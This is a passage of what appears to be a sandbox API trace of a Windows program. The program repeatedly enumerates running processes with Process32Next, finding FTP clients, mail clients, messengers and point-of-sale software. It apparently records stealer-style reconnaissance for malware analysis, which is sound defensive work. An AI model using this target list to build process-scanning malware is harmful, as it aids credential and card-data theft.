Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0112.713] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0112.716] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0112.719] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0112.721] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0112.724] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0112.735] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0112.738] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0112.740] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0112.743] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0112.747] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0112.753] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0112.756] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0112.760] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0112.763] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0112.765] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0112.768] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0112.771] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0112.774] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0112.776] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0112.778] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0112.781] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0112.785] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0112.788] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0112.791] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0112.795] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0112.799] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0112.802] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0112.806] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0112.809] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0112.812] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0112.820] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0112.824] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0112.827] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0112.831] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0112.834] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0112.837] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0112.841] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0112.844] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0112.864] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0112.868] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0112.872] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0112.875] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0112.879] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0112.882] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0112.886] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0112.889] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0112.892] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0112.896] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0112.899] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0112.902] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0112.905] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0112.909] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0112.912] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0112.915] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0112.919] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0112.922] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0112.924] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0112.927] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0112.930] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0112.933] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0112.936] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0112.940] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0112.946] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0112.952] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0112.955] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0112.958] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0112.962] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0112.965] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0112.969] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0113.006] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0113.014] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0113.025] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0113.036] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x2a4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0113.039] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0113.043] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0113.047] Process32Next (in: hSnapshot=0x1e9c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0113.051] CloseHandle (hObject=0x1e9c) returned 1 [0113.052] Sleep (dwMilliseconds=0x64) [0113.152] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x20c8 [0113.175] Process32First (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0113.179] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0113.182] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0113.185] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0113.189] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0113.192] Process32Next (in: hSnapshot=0x20c8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, 